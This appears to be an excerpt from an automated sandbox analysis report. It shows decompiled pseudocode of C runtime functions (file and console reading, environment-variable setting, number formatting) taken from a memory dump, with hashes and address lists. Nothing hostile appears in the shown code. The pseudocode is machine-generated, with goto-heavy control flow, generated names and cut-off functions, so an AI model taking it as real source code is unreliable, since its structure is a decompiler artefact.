									__eflags =  *(_t235 + _t215 + 0x28) & 0x00000048;
									_t216 = _a4;
									if(( *(_t235 + _t215 + 0x28) & 0x00000048) != 0) {
										_t218 =  *((intOrPtr*)(_t235 + _v36 + 0x2a));
										_v6 = _t218;
										__eflags = _t218 - 0xa;
										_t216 = _a4;
										if(_t218 != 0xa) {
											__eflags = _t223;
											if(_t223 != 0) {
												_t241 = _v24;
												 *_t163 = _v6;
												_t216 = _a4;
												_t232 = _t223 - 1;
												__eflags = _v5;
												_v12 = _t163 + 1;
												_v16 = _t232;
												 *((char*)(_t235 +  *((intOrPtr*)(0x6e2536b0 + _v20 * 4)) + 0x2a)) = 0xa;
												if(_v5 != 0) {
													_t191 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x6e2536b0 + _v20 * 4)) + 0x2b));
													_v6 = _t191;
													__eflags = _t191 - 0xa;
													if(_t191 != 0xa) {
														__eflags = _t232;
														if(_t232 != 0) {
															_t192 = _v12;
															_t241 = 2;
															 *_t192 = _v6;
															_t216 = _a4;
															_t233 = _t232 - 1;
															_v12 = _t192 + 1;
															_v16 = _t233;
															 *((char*)(_t235 +  *((intOrPtr*)(0x6e2536b0 + _v20 * 4)) + 0x2b)) = 0xa;
															__eflags = _v5 - _v24;
															if(_v5 == _v24) {
																_t199 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x6e2536b0 + _v20 * 4)) + 0x2c));
																_v6 = _t199;
																__eflags = _t199 - 0xa;
																if(_t199 != 0xa) {
																	__eflags = _t233;
																	if(_t233 != 0) {
																		_t200 = _v12;
																		_t241 = 3;
																		 *_t200 = _v6;
																		_t216 = _a4;
																		_t234 = _t233 - 1;
																		__eflags = _t234;
																		_v12 = _t200 + 1;
																		_v16 = _t234;
																		 *((char*)(_t235 +  *((intOrPtr*)(0x6e2536b0 + _v20 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t164 = E6E18AF38(_t216);
									__eflags = _t164;
									if(_t164 == 0) {
										L41:
										_v24 = 0;
										L42:
										_t167 = ReadFile(_v32, _v12, _v16,  &_v36, 0);
										__eflags = _t167;
										if(_t167 == 0) {
											L53:
											_t168 = GetLastError();
											_t241 = 5;
											__eflags = _t168 - _t241;
											if(_t168 != _t241) {
												__eflags = _t168 - 0x6d;
												if(_t168 != 0x6d) {
													L37:
													E6E17BB48(_t168);
													goto L38;
												}
												_t242 = 0;
												goto L39;
											}
											 *((intOrPtr*)(E6E17BB7E())) = 9;
											 *(E6E17BB6B()) = _t241;
											goto L38;
										}
										_t229 = _a12;
										__eflags = _v36 - _t229;
										if(_v36 > _t229) {
											goto L53;
										}
										_t242 = _t241 + _v36;
										__eflags = _t242;
										L45:
										_t237 = _v28;
										_t175 =  *((intOrPtr*)(0x6e2536b0 + _v20 * 4));
										__eflags =  *(_t237 + _t175 + 0x28) & 0x00000080;
										if(( *(_t237 + _t175 + 0x28) & 0x00000080) != 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v24;
												_push(_t242 >> 1);
												_push(_v40);
												_push(_t216);
												if(_v24 == 0) {
													_t176 = E6E184EEB();
												} else {
													_t176 = E6E1851FB();
												}
											} else {
												_t230 = _t229 >> 1;
												__eflags = _t229 >> 1;
												_t176 = E6E1850AB(_t229 >> 1, _t229 >> 1, _t216, _v12, _t242, _a8, _t230);
											}
											_t242 = _t176;
										}
										goto L39;
									}
									_t231 = _v28;
									_t178 =  *((intOrPtr*)(0x6e2536b0 + _v20 * 4));
									__eflags =  *(_t231 + _t178 + 0x28) & 0x00000080;
									if(( *(_t231 + _t178 + 0x28) & 0x00000080) == 0) {
										goto L41;
									}
									_t180 = GetConsoleMode(_v32,  &_v44);
									__eflags = _t180;
									if(_t180 == 0) {
										goto L41;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L42;
									}
									_t184 = ReadConsoleW(_v32, _v12, _v16 >> 1,  &_v36, 0);
									__eflags = _t184;
									if(_t184 != 0) {
										_t229 = _a12;
										_t242 = _t241 + _v36 * 2;
										goto L45;
									}
									_t168 = GetLastError();
									goto L37;
								} else {
									 *((intOrPtr*)(E6E17BB7E())) = 0xc;
									 *(E6E17BB6B()) = 8;
									L38:
									_t242 = _t241 | 0xffffffff;
									__eflags = _t242;
									L39:
									E6E17FBB2(_t246);
									return _t242;
								}
							}
							L15:
							 *(E6E17BB6B()) =  *_t206 & _t246;
							 *((intOrPtr*)(E6E17BB7E())) = 0x16;
							E6E178929();
							goto L38;
						}
						__eflags = _t155 != 1;
						if(_t155 != 1) {
							L13:
							_t163 = _a8;
							_v16 = _t223;
							_v12 = _t163;
							goto L21;
						}
						_t211 =  !_t223;
						__eflags = _t211 & 0x00000001;
						if((_t211 & 0x00000001) == 0) {
							goto L15;
						}
						goto L13;
					}
					L6:
					 *(E6E17BB6B()) =  *_t151 & 0x00000000;
					 *((intOrPtr*)(E6E17BB7E())) = 0x16;
					goto L59;
				} else {
					 *(E6E17BB6B()) =  *_t212 & 0x00000000;
					_t145 = E6E17BB7E();
					 *_t145 = 9;
					L60:
					return _t145 | 0xffffffff;
				}
			}

0x6e185398
0x6e18539f
0x6e1853b9
0x6e1853bb
0x6e185723
0x6e185723
0x6e185728
0x6e185728
0x6e185730
0x6e185736
0x6e185736
0x00000000
0x6e185736
0x6e1853c1
0x6e1853c7
0x00000000
0x00000000
0x6e1853cf
0x6e1853db
0x6e1853de
0x6e1853e1
0x6e1853e4
0x6e1853eb
0x6e1853ee
0x6e1853f2
0x6e1853f5
0x6e1853f8
0x00000000
0x00000000
0x6e1853fe
0x6e185401
0x6e185407
0x6e185421
0x6e185423
0x6e18571f
0x00000000
0x6e18571f
0x6e185429
0x6e18542d
0x00000000
0x00000000
0x6e185433
0x6e185437
0x00000000
0x00000000
0x6e18543e
0x6e185442
0x6e185445
0x6e185448
0x6e18544d
0x6e18544d
0x6e185450
0x6e18546d
0x6e185472
0x6e185474
0x6e185476
0x6e185496
0x6e185497
0x6e185499
0x6e18549c
0x6e18549e
0x6e1854a0
0x6e1854a2
0x6e1854a2
0x6e1854ad
0x6e1854af
0x6e1854b6
0x6e1854bb
0x6e1854be
0x6e1854c1
0x6e1854c3
0x6e1854e8
0x6e1854ed
0x6e1854f4
0x6e1854f7
0x6e1854fa
0x6e1854fe
0x6e185500
0x6e185504
0x6e185506
0x6e185509
0x6e18550c
0x6e18550e
0x6e185511
0x6e185518
0x6e18551b
0x6e185520
0x6e185523
0x6e18552c
0x6e185530
0x6e185533
0x6e185536
0x6e185539
0x6e18553f
0x6e185541
0x6e18554a
0x6e18554d
0x6e185550
0x6e185553
0x6e185554
0x6e185558
0x6e18555e
0x6e185568
0x6e18556d
0x6e18557d
0x6e185581
0x6e185584
0x6e185586
0x6e185588
0x6e18558a
0x6e18558c
0x6e185594
0x6e185595
0x6e185598
0x6e18559b
0x6e18559c
0x6e1855a2
0x6e1855ac
0x6e1855b4
0x6e1855b7
0x6e1855c3
0x6e1855c7
0x6e1855ca
0x6e1855cc
0x6e1855ce
0x6e1855d0
0x6e1855d2
0x6e1855da
0x6e1855db
0x6e1855de
0x6e1855e1
0x6e1855e1
0x6e1855e2
0x6e1855e8
0x6e1855f2
0x6e1855f2
0x6e1855d0
0x6e1855cc
0x6e1855b7
0x6e18558a
0x6e185586
0x6e18556d
0x6e185541
0x6e185539
0x6e1855f8
0x6e1855fe
0x6e185600
0x6e185673
0x6e185673
0x6e185677
0x6e185687
0x6e18568d
0x6e18568f
0x6e1856eb
0x6e1856eb
0x6e1856f3
0x6e1856f4
0x6e1856f6
0x6e18570f
0x6e185712
0x6e18564f
0x6e185650
0x00000000
0x6e185655
0x6e185718
0x00000000
0x6e185718
0x6e1856fd
0x6e185708
0x00000000
0x6e185708
0x6e185691
0x6e185694
0x6e185697
0x00000000
0x00000000
0x6e185699
0x6e185699
0x6e18569c
0x6e18569f
0x6e1856a2
0x6e1856a9
0x6e1856ae
0x6e1856b0
0x6e1856b4
0x6e1856cf
0x6e1856d3
0x6e1856d4
0x6e1856d7
0x6e1856d8
0x6e1856e4
0x6e1856da
0x6e1856da
0x6e1856da
0x6e1856b6
0x6e1856b6
0x6e1856b6
0x6e1856c1
0x6e1856c6
0x6e1856c9
0x6e1856c9
0x00000000
0x6e1856ae
0x6e185605
0x6e185608
0x6e18560f
0x6e185614
0x00000000
0x00000000
0x6e18561d
0x6e185623
0x6e185625
0x00000000
0x00000000
0x6e185627
0x6e18562b
0x00000000
0x00000000
0x6e18563f
0x6e185645
0x6e185647
0x6e18566b
0x6e18566e
0x00000000
0x6e18566e
0x6e185649
0x00000000
0x6e1854c5
0x6e1854ca
0x6e1854d5
0x6e185656
0x6e185656
0x6e185656
0x6e185659
0x6e18565a
0x00000000
0x6e185662
0x6e1854c3
0x6e185478
0x6e18547d
0x6e185484
0x6e18548a
0x00000000
0x6e18548a
0x6e185452
0x6e185455
0x6e18545f
0x6e18545f
0x6e185462
0x6e185465
0x00000000
0x6e185465
0x6e185459
0x6e18545b
0x6e18545d
0x00000000
0x00000000
0x00000000
0x6e18545d
0x6e185409
0x6e18540e
0x6e185416
0x00000000
0x6e1853a1
0x6e1853a6
0x6e1853a9
0x6e1853ae
0x6e18573b
0x00000000
0x6e18573b

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c0bef1e280f58f53fb4ccb10c83083935158651e398842df98d3110b72dfc3d
Instruction ID: cc6795868f1c87a4654a68195b4f5dfa5422f25f866f0cd54d0446b409484fde
Opcode Fuzzy Hash: 6c0bef1e280f58f53fb4ccb10c83083935158651e398842df98d3110b72dfc3d
Instruction Fuzzy Hash: 5DC19C70A04249AFDF51CFE8C850BEEBBB5FF1A314F244189E862A7295C7309985DF61

Uniqueness

Uniqueness Score: -1.00%

Function 6E1891FB, Relevance: 13.7, APIs: 9, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6E1891FB(signed int _a4, signed int _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				signed char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				signed int _t68;
				signed int _t69;
				signed int _t73;
				signed int* _t75;
				signed int _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				signed int _t98;
				intOrPtr* _t99;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t112;
				intOrPtr _t115;
				void* _t119;
				signed int _t121;
				void* _t124;
				signed int _t125;
				signed int _t126;
				void* _t131;
				intOrPtr* _t135;
				signed int _t139;
				signed int _t141;
				void* _t142;
				void* _t143;
				signed int _t144;
				signed int _t146;
				signed int* _t147;
				signed int _t152;
				signed int _t153;
				CHAR* _t154;
				signed int _t155;
				signed int* _t156;
				signed int _t157;
				signed int _t159;
				void* _t164;
				void* _t166;
				void* _t167;

				_t111 = _a4;
				if(_t111 != 0) {
					_t144 = _t111;
					_t58 = E6E18F850(_t111, 0x3d);
					_v16 = _t58;
					_t119 = _t143;
					__eflags = _t58;
					if(_t58 == 0) {
						L10:
						 *((intOrPtr*)(E6E17BB7E())) = 0x16;
						goto L11;
					} else {
						__eflags = _t58 - _t111;
						if(_t58 == _t111) {
							goto L10;
						} else {
							__eflags =  *((char*)(_t58 + 1));
							_t152 =  *0x6e253670; // 0x2934398
							_t62 = _t58 & 0xffffff00 |  *((char*)(_t58 + 1)) == 0x00000000;
							_v5 = _t62;
							__eflags = _t152 -  *0x6e25367c; // 0x2934398
							if(__eflags == 0) {
								L44();
								_t152 = _t62;
								_t62 = _v5;
								_t119 = _t152;
								 *0x6e253670 = _t152;
							}
							_t112 = 0;
							__eflags = _t152;
							if(_t152 != 0) {
								L21:
								_t121 = _t144;
								_t64 = _v16 - _t121;
								_push(_t64);
								_push(_t121);
								L61();
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 < 0) {
									L29:
									__eflags = _v5 - _t112;
									if(_v5 != _t112) {
										goto L12;
									} else {
										_t65 =  ~_t64;
										_v12 = _t65;
										_t27 = _t65 + 2; // 0x2
										_t124 = _t27;
										__eflags = _t124 - _t65;
										if(_t124 < _t65) {
											goto L11;
										} else {
											__eflags = _t124 - 0x3fffffff;
											if(_t124 >= 0x3fffffff) {
												goto L11;
											} else {
												_push(4);
												_push(_t124);
												_t153 = E6E189546(_t152);
												E6E17FBB2(_t112);
												_t166 = _t166 + 0x10;
												__eflags = _t153;
												if(_t153 == 0) {
													goto L11;
												} else {
													_t125 = _v12;
													_t144 = _t112;
													_t68 = _a4;
													 *(_t153 + _t125 * 4) = _t68;
													 *(_t153 + 4 + _t125 * 4) = _t112;
													goto L34;
												}
											}
										}
									}
								} else {
									__eflags =  *_t152 - _t112;
									if( *_t152 == _t112) {
										goto L29;
									} else {
										E6E17FBB2( *((intOrPtr*)(_t152 + _t64 * 4)));
										_t141 = _v12;
										__eflags = _v5 - _t112;
										if(_v5 != _t112) {
											while(1) {
												__eflags =  *(_t152 + _t141 * 4) - _t112;
												if( *(_t152 + _t141 * 4) == _t112) {
													break;
												}
												 *(_t152 + _t141 * 4) =  *(_t152 + 4 + _t141 * 4);
												_t141 = _t141 + 1;
												__eflags = _t141;
											}
											_push(4);
											_push(_t141);
											_t153 = E6E189546(_t152);
											E6E17FBB2(_t112);
											_t166 = _t166 + 0x10;
											_t68 = _t144;
											__eflags = _t153;
											if(_t153 != 0) {
												L34:
												 *0x6e253670 = _t153;
											}
										} else {
											_t68 = _a4;
											_t144 = _t112;
											 *(_t152 + _t141 * 4) = _t68;
										}
										__eflags = _a8 - _t112;
										if(_a8 == _t112) {
											goto L12;
										} else {
											_t126 = _t68;
											_t142 = _t126 + 1;
											do {
												_t69 =  *_t126;
												_t126 = _t126 + 1;
												__eflags = _t69;
											} while (_t69 != 0);
											_v12 = _t126 - _t142 + 2;
											_t154 = E6E17FB55(_t126 - _t142, _t126 - _t142 + 2, 1);
											_pop(_t129);
											__eflags = _t154;
											if(_t154 == 0) {
												L42:
												E6E17FBB2(_t154);
												goto L12;
											} else {
												_t73 = E6E17EBB9(_t154, _v12, _a4);
												_t167 = _t166 + 0xc;
												__eflags = _t73;
												if(_t73 != 0) {
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													E6E178956();
													asm("int3");
													_t164 = _t167;
													_push(_t144);
													_t146 = _v44;
													__eflags = _t146;
													if(_t146 != 0) {
														_t131 = 0;
														_t75 = _t146;
														__eflags =  *_t146;
														if( *_t146 != 0) {
															do {
																_t75 =  &(_t75[1]);
																_t131 = _t131 + 1;
																__eflags =  *_t75;
															} while ( *_t75 != 0);
														}
														_push(_t154);
														_t47 = _t131 + 1; // 0x2
														_t155 = E6E17FB55(_t131, _t47, 4);
														__eflags = _t155;
														if(_t155 == 0) {
															L59:
															E6E17D659(_t112, _t142, _t146, _t155);
															goto L60;
														} else {
															__eflags =  *_t146;
															if( *_t146 == 0) {
																L57:
																E6E17FBB2(0);
																_t86 = _t155;
																goto L58;
															} else {
																_push(_t112);
																_t112 = _t155 - _t146;
																__eflags = _t112;
																do {
																	_t135 =  *_t146;
																	_t48 = _t135 + 1; // 0x5
																	_t142 = _t48;
																	do {
																		_t87 =  *_t135;
																		_t135 = _t135 + 1;
																		__eflags = _t87;
																	} while (_t87 != 0);
																	_t49 = _t135 - _t142 + 1; // 0x6
																	_v12 = _t49;
																	 *(_t112 + _t146) = E6E17FB55(_t135 - _t142, _t49, 1);
																	E6E17FBB2(0);
																	_t167 = _t167 + 0xc;
																	__eflags =  *(_t112 + _t146);
																	if( *(_t112 + _t146) == 0) {
																		goto L59;
																	} else {
																		_t91 = E6E17EBB9( *(_t112 + _t146), _v12,  *_t146);
																		_t167 = _t167 + 0xc;
																		__eflags = _t91;
																		if(_t91 != 0) {
																			L60:
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			E6E178956();
																			asm("int3");
																			_push(_t164);
																			_push(_t112);
																			_push(_t155);
																			_push(_t146);
																			_t147 =  *0x6e253670; // 0x2934398
																			_t156 = _t147;
																			__eflags =  *_t147;
																			if( *_t147 == 0) {
																				L67:
																				_t157 = _t156 - _t147;
																				__eflags = _t157;
																				_t159 =  ~(_t157 >> 2);
																			} else {
																				_t115 = _v0;
																				do {
																					_t82 = E6E18E123(_v4,  *_t156, _t115);
																					_t167 = _t167 + 0xc;
																					__eflags = _t82;
																					if(_t82 != 0) {
																						goto L66;
																					} else {
																						_t84 =  *((intOrPtr*)(_t115 +  *_t156));
																						__eflags = _t84 - 0x3d;
																						if(_t84 == 0x3d) {
																							L69:
																							_t159 = _t156 - _t147 >> 2;
																						} else {
																							__eflags = _t84;
																							if(_t84 == 0) {
																								goto L69;
																							} else {
																								goto L66;
																							}
																						}
																					}
																					goto L68;
																					L66:
																					_t156 =  &(_t156[1]);
																					__eflags =  *_t156;
																				} while ( *_t156 != 0);
																				goto L67;
																			}
																			L68:
																			return _t159;
																		} else {
																			goto L55;
																		}
																	}
																	goto L70;
																	L55:
																	_t146 = _t146 + 4;
																	__eflags =  *_t146 - _t91;
																} while ( *_t146 != _t91);
																goto L57;
															}
														}
													} else {
														_t86 = 0;
														L58:
														return _t86;
													}
												} else {
													_t139 = _v16 + 1 + _t154 - _a4;
													asm("sbb eax, eax");
													 *(_t139 - 1) = _t112;
													_t98 = SetEnvironmentVariableA(_t154,  !( ~(_v5 & 0x000000ff)) & _t139);
													__eflags = _t98;
													if(_t98 == 0) {
														_t99 = E6E17BB7E();
														_t112 = _t112 | 0xffffffff;
														__eflags = _t112;
														 *_t99 = 0x2a;
													}
													goto L42;
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L14:
									__eflags = _t62;
									if(_t62 == 0) {
										 *0x6e253670 = E6E17FB55(_t119, 1, 4);
										E6E17FBB2(_t112);
										_t152 =  *0x6e253670; // 0x2934398
										_t166 = _t166 + 0xc;
										__eflags = _t152;
										if(_t152 == 0) {
											goto L11;
										} else {
											__eflags =  *0x6e253674 - _t112; // 0x0
											if(__eflags != 0) {
												goto L20;
											} else {
												 *0x6e253674 = E6E17FB55(_t119, 1, 4);
												E6E17FBB2(_t112);
												_t166 = _t166 + 0xc;
												__eflags =  *0x6e253674 - _t112; // 0x0
												if(__eflags == 0) {
													goto L11;
												} else {
													goto L19;
												}
											}
										}
									} else {
										_t112 = 0;
										goto L12;
									}
								} else {
									__eflags =  *0x6e253674 - _t112; // 0x0
									if(__eflags == 0) {
										goto L14;
									} else {
										_t108 = L6E17E638(0);
										__eflags = _t108;
										if(_t108 != 0) {
											L19:
											_t152 =  *0x6e253670; // 0x2934398
											L20:
											__eflags = _t152;
											if(_t152 == 0) {
												L11:
												_t112 = _t111 | 0xffffffff;
												__eflags = _t112;
												L12:
												E6E17FBB2(_t144);
												_t61 = _t112;
												goto L13;
											} else {
												goto L21;
											}
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E6E17BB7E();
					 *_t109 = 0x16;
					_t61 = _t109 | 0xffffffff;
					L13:
					return _t61;
				}
				L70:
			}

0x6e189204
0x6e189209
0x6e189220
0x6e189222
0x6e189227
0x6e18922b
0x6e18922c
0x6e18922e
0x6e18927e
0x6e189283
0x00000000
0x6e189230
0x6e189230
0x6e189232
0x00000000
0x6e189234
0x6e189234
0x6e189238
0x6e18923e
0x6e189241
0x6e189244
0x6e18924a
0x6e18924d
0x6e189252
0x6e189254
0x6e189257
0x6e189258
0x6e189258
0x6e18925e
0x6e189260
0x6e189262
0x6e1892f6
0x6e1892f9
0x6e1892fb
0x6e1892fd
0x6e1892fe
0x6e1892ff
0x6e189304
0x6e189309
0x6e18930b
0x6e189355
0x6e189355
0x6e189358
0x00000000
0x6e18935e
0x6e18935e
0x6e189360
0x6e189363
0x6e189363
0x6e189366
0x6e189368
0x00000000
0x6e18936e
0x6e18936e
0x6e189374
0x00000000
0x6e18937a
0x6e18937a
0x6e18937c
0x6e189384
0x6e189386
0x6e18938b
0x6e18938e
0x6e189390
0x00000000
0x6e189396
0x6e189396
0x6e189399
0x6e18939b
0x6e18939e
0x6e1893a1
0x00000000
0x6e1893a1
0x6e189390
0x6e189374
0x6e189368
0x6e18930d
0x6e18930d
0x6e18930f
0x00000000
0x6e189311
0x6e189314
0x6e18931a
0x6e18931d
0x6e189320
0x6e189334
0x6e189334
0x6e189337
0x00000000
0x00000000
0x6e189330
0x6e189333
0x6e189333
0x6e189333
0x6e189339
0x6e18933b
0x6e189343
0x6e189345
0x6e18934a
0x6e18934d
0x6e18934f
0x6e189351
0x6e1893a5
0x6e1893a5
0x6e1893a5
0x6e189322
0x6e189322
0x6e189325
0x6e189327
0x6e189327
0x6e1893ab
0x6e1893ae
0x00000000
0x6e1893b4
0x6e1893b4
0x6e1893b6
0x6e1893b9
0x6e1893b9
0x6e1893bb
0x6e1893bc
0x6e1893bc
0x6e1893c8
0x6e1893d0
0x6e1893d3
0x6e1893d4
0x6e1893d6
0x6e18941f
0x6e189420
0x00000000
0x6e1893d8
0x6e1893df
0x6e1893e4
0x6e1893e7
0x6e1893e9
0x6e18942b
0x6e18942c
0x6e18942d
0x6e18942e
0x6e18942f
0x6e189430
0x6e189435
0x6e189439
0x6e18943c
0x6e18943d
0x6e189440
0x6e189442
0x6e18944b
0x6e18944d
0x6e18944f
0x6e189451
0x6e189453
0x6e189453
0x6e189456
0x6e189457
0x6e189457
0x6e189453
0x6e18945c
0x6e18945d
0x6e189468
0x6e18946c
0x6e18946e
0x6e1894d5
0x6e1894d5
0x00000000
0x6e189470
0x6e189470
0x6e189473
0x6e1894c5
0x6e1894c7
0x6e1894cd
0x00000000
0x6e189475
0x6e189475
0x6e189478
0x6e189478
0x6e18947a
0x6e18947a
0x6e18947c
0x6e18947c
0x6e18947f
0x6e18947f
0x6e189481
0x6e189482
0x6e189482
0x6e18948a
0x6e18948e
0x6e189498
0x6e18949b
0x6e1894a0
0x6e1894a3
0x6e1894a7
0x00000000
0x6e1894a9
0x6e1894b1
0x6e1894b6
0x6e1894b9
0x6e1894bb
0x6e1894da
0x6e1894dc
0x6e1894dd
0x6e1894de
0x6e1894df
0x6e1894e0
0x6e1894e1
0x6e1894e6
0x6e1894e9
0x6e1894ec
0x6e1894ed
0x6e1894ee
0x6e1894ef
0x6e1894f5
0x6e1894f7
0x6e1894fa
0x6e189526
0x6e189526
0x6e189526
0x6e18952b
0x6e1894fc
0x6e1894fc
0x6e1894ff
0x6e189505
0x6e18950a
0x6e18950d
0x6e18950f
0x00000000
0x6e189511
0x6e189513
0x6e189516
0x6e189518
0x6e189534
0x6e189536
0x6e18951a
0x6e18951a
0x6e18951c
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18951c
0x6e189518
0x00000000
0x6e18951e
0x6e18951e
0x6e189521
0x6e189521
0x00000000
0x6e1894ff
0x6e18952d
0x6e189533
0x00000000
0x00000000
0x00000000
0x6e1894bb
0x00000000
0x6e1894bd
0x6e1894bd
0x6e1894c0
0x6e1894c0
0x00000000
0x6e1894c4
0x6e189473
0x6e189444
0x6e189444
0x6e1894d0
0x6e1894d4
0x6e1894d4
0x6e1893eb
0x6e1893f4
0x6e1893fc
0x6e189400
0x6e189407
0x6e18940d
0x6e18940f
0x6e189411
0x6e189416
0x6e189416
0x6e189419
0x6e189419
0x00000000
0x6e18940f
0x6e1893e9
0x6e1893d6
0x6e1893ae
0x6e18930f
0x6e189268
0x6e189268
0x6e18926b
0x6e18929c
0x6e18929c
0x6e18929e
0x6e1892ae
0x6e1892b3
0x6e1892b8
0x6e1892be
0x6e1892c1
0x6e1892c3
0x00000000
0x6e1892c5
0x6e1892c5
0x6e1892cb
0x00000000
0x6e1892cd
0x6e1892d7
0x6e1892dc
0x6e1892e1
0x6e1892e4
0x6e1892ea
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1892ea
0x6e1892cb
0x6e1892a0
0x6e1892a0
0x00000000
0x6e1892a0
0x6e18926d
0x6e18926d
0x6e189273
0x00000000
0x6e189275
0x6e189275
0x6e18927a
0x6e18927c
0x6e1892ec
0x6e1892ec
0x6e1892f2
0x6e1892f2
0x6e1892f4
0x6e189289
0x6e189289
0x6e189289
0x6e18928c
0x6e18928d
0x6e189294
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18927c
0x6e189273
0x6e18926b
0x6e189262
0x6e189232
0x6e18920b
0x6e18920b
0x6e189210
0x6e189216
0x6e189297
0x6e18929b
0x6e18929b
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 6E189222
_free.LIBCMT ref: 6E18928D
_free.LIBCMT ref: 6E1892B3
_free.LIBCMT ref: 6E1892DC
_free.LIBCMT ref: 6E189314
_free.LIBCMT ref: 6E189345
_free.LIBCMT ref: 6E189386
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 6E189407
_free.LIBCMT ref: 6E189420

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 667ea425a88c53b9abd2e310a801e0a7638098f88d1dd72dcb7b620cea3c9321
Instruction ID: e1b7b9e3d49ec73398440d8918f4e7cb0e354088d26776ee86999adc5f0213a0
Opcode Fuzzy Hash: 667ea425a88c53b9abd2e310a801e0a7638098f88d1dd72dcb7b620cea3c9321
Instruction Fuzzy Hash: 28613671904601AFDF65DFF888B8A9F7BA9BF16714F20056EE918A7284D73184C1EB60

Uniqueness

Uniqueness Score: -1.00%

Function 6E16E050, Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 400
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6E16E050(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char* _a28, intOrPtr _a32) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				signed int _v72;
				signed char _v73;
				char* _v80;
				short _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				intOrPtr _v100;
				signed int _v104;
				void* _v108;
				intOrPtr _v112;
				signed int _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				signed int _v148;
				signed int _v152;
				char _v160;
				char _v168;
				char _v176;
				char _v184;
				char _v192;
				char _v200;
				char _v208;
				char _v216;
				signed int _t192;
				signed int _t193;
				signed int _t195;
				intOrPtr* _t231;
				intOrPtr* _t236;
				intOrPtr* _t248;
				intOrPtr* _t252;
				intOrPtr* _t255;
				intOrPtr* _t259;
				void* _t260;
				char _t274;
				signed int _t280;
				short _t289;
				void* _t355;
				signed int _t370;
				void* _t392;
				void* _t395;
				void* _t396;
				signed int _t397;

				_t396 = __esi;
				_t395 = __edi;
				_t283 = __ebx;
				_push(0xffffffff);
				_push(0x6e18fd86);
				_push( *[fs:0x0]);
				_t192 =  *0x6e1bb164; // 0x55e3ddbb
				_t193 = _t192 ^ _t397;
				_v20 = _t193;
				_push(__ebx);
				_push(_t193);
				 *[fs:0x0] =  &_v16;
				if(_a32 <= 0 ||  *_a28 != 0x2b &&  *_a28 != 0x2d) {
					_v108 = 0;
				} else {
					_v108 = 1;
				}
				_v72 = _v108;
				_t195 = E6E170E40(_a20);
				_t412 = (_t195 & 0x00003000) - 0x3000;
				if((_t195 & 0x00003000) == 0x3000) {
					_v112 = 0x6e1aa78c;
					__eflags = _v72 + 2 - _a32;
					if(_v72 + 2 > _a32) {
						goto L12;
					}
					__eflags =  *((char*)(_a28 + _v72)) - 0x30;
					if( *((char*)(_a28 + _v72)) != 0x30) {
						goto L12;
					}
					_t392 = _a28 + _v72;
					__eflags =  *((char*)(_t392 + 1)) - 0x78;
					if( *((char*)(_t392 + 1)) == 0x78) {
						L11:
						_t280 = _v72 + 2;
						__eflags = _t280;
						_v72 = _t280;
						goto L12;
					}
					_t355 = _a28 + _v72;
					__eflags =  *((char*)(_t355 + 1)) - 0x58;
					if( *((char*)(_t355 + 1)) != 0x58) {
						goto L12;
					}
					goto L11;
				} else {
					_v112 = 0x6e1aa788;
					L12:
					_v144 = E6E1789B0(_v112, 0 + _a28, _v112);
					_t289 =  *0x6e1aa790; // 0x2e
					_v84 = _t289;
